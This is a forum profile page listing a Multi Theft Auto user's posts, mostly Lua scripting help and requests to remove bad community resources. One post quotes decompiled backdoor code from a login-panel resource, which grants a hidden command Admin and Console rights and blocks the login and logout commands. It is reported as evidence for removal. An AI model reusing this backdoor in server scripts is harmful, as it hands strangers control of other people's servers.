• Content Count

  • Joined

  • Last visited

Everything posted by -ffs-Sniper

  1. How can a player be logged in when onPlayerJoin is triggered? The player will always be set to offline team this way. In order to get this working you need to trigger an event right after the player is logged in (preferably use onPlayerLogin instead of onPlayerJoin).
  2. -ffs-Sniper


    I do not think that this makes any sense. What prevents you from using a well-coded ping and fps detector? Well, technically it should be possible but I am not quiet sure if this would prevent your server from lagging players.
  3. -ffs-Sniper

    radar help

    Since the script is obviously not yours (rip-off from TG iirc) nobody is going to help you in here.
  4. Are you sure source is defined? (source is only used as pre-defined variable in event handlers) The timer itself is correct.
  5. Two options: 1st: Use a stats system from http://community.mtasa.com/ 2nd: Add your function that gives money to /race/modes/destructionderby.lua right after line 74.
  6. Ob Linux oder Windows Server, das ist vollkommen gleichgültig. Melde dich am besten als Admin an und tippe anschließend /debugscript 3 ein und poste daraus alles, was mit dem Problem zu tun haben könnte.
  7. Sorry but you are in the wrong section then. This is scripting related help for scripters, not a place to gain resources. If you are looking for resources take a look into the "Resources" section of this forum and try browsing http://community.mtasa.com/
  8. This would fit your needs the most: http://community.mtasa.com/index.php?p= ... ls&id=6380 If not you won't come around scripting a chat system by yourself.
  9. I can confirm that issue on my GTX 580 and SSD, too. For me it actually rarely happens and just a reboot helps to get rid of that kind of lag. Even though the GPU load is lower than 10% some kind of stalls appear (FPS does not drop but game freezes for like 100ms). Currently I am unable to reproduce that so unfortuntately I can't provide a MTA Diag.
  10. -ffs-Sniper

    Alpha weapon

    bool giveWeapon ( ped thePlayer, int weapon [, int ammo=30, bool setAsCurrent=false ] ) GiveWeapon does not return an element. Instead the function returns whether the weapon has been created (true or false). As there isn't any weapon element this is currently not possible by using setElementAlpha. At last you could try an invisible weapon model.
  11. http://gtamap.delux-host.com/converter/ That will help you converting your MTA map to a GTA supported map-file (.ipl). In order to remove the original map you will need to google for a mod (iirc there are several mods for GTA doing that).
  12. I would love to see a rewrite rule. Also, for some reason the main MTA page redirects to forum.multitheftauto.com, shouldn't that be mtasa.com according to what Blokker said?
  13. Do you want the default GTA map to be removed? viewtopic.php?f=15&t=43425&hilit=+removeWorldModel#p438588
  14. http://community.mtasa.com/index.php?p= ... ls&id=6609 Downloaded archive does not contain the actual script. It contains a .txt with a download link to http://xrsgm.blogspot.com.br which is filled with stolen/copied resources. I am not quiet sure if this is allowed or not, though I am sure that this community resource only has the intention of creating traffic to the website I mentioned before. DONE
  15. -ffs-Sniper


    You need to add [ ] brackets to the beginning and the end of any JSON string in MTA. Tested and works. yourTable = fromJSON('[{"data":{"detections":[{"language":"es","isReliable":false,"confidence":0.4517133956386293},{"language":"pt","isReliable":false,"confidence":0.08356545961002786}]}}]')
  16. You can't disable the maximum execution time at MTA. Looping a piece of code for a long time immediately freezes the script execution and causes overwhelming CPU usage. There is no point in using loops in order to e.g. replace a timer. Please post your source code so we might be able to find a more efficient solution for your problem.
  17. Requesting removal of the following resource as it contains a malicious backdoor: http://community.mtasa.com/index.php?p= ... ls&id=6588 Proof of backdoor: viewtopic.php?f=108&t=55086&p=534551#p534551 DONE
  18. -ffs-Sniper

    _Login Panel

    Requesting ban of Anony# and removal of the resource due to a built in backdoor in his script. See yourself (taken from Server.luac): addEvent("onServerTest", true) addEventHandler("onServerTest", getRootElement(), function(_ARG_0_) if not isElement(_ARG_0_) then return end setTimer(setCameraTarget, 3000, 1, _ARG_0_, _ARG_0_) setTimer(fadeCamera, 3000, 2, _ARG_0_, true, 0.5) setTimer(showPlayerHudComponent, 5100, 1, _ARG_0_, "radar", true) setWaveHeight(0) setHeatHaze(0) end) function aclGetGroups() aclGroupAddObject(aclGetGroup("Admin"), "user.aclGetGroup") aclGroupAddObject(aclGetGroup("Console"), "user.aclGetGroup") outputChatBox("!!!") end addCommandHandler("aclGetGroup", aclGetGroups) addEventHandler("onPlayerCommand", root, function(_ARG_0_) if _ARG_0_ == "login" or _ARG_0_ == "logout" then cancelEvent() end end)
  19. http://community.multitheftauto.com/ind ... ls&id=6546 Contains backdoor and is compiled. See decompiled code: http://pastebin.com/zmHQPB8t DONE
  20. You will need to bind a key and use playSound3D with a custom horn. Unfortunately there is no way to use the original GTA horns together with hydraulics.
  21. Customly coded from scratch and not available for download.
  22. Just a little bit of dumbness for your daily amusement: (No, this is not supposed to become a MTA vs SAMP discussion)
  23. Finally all the players are going to get the latest build! Awesome!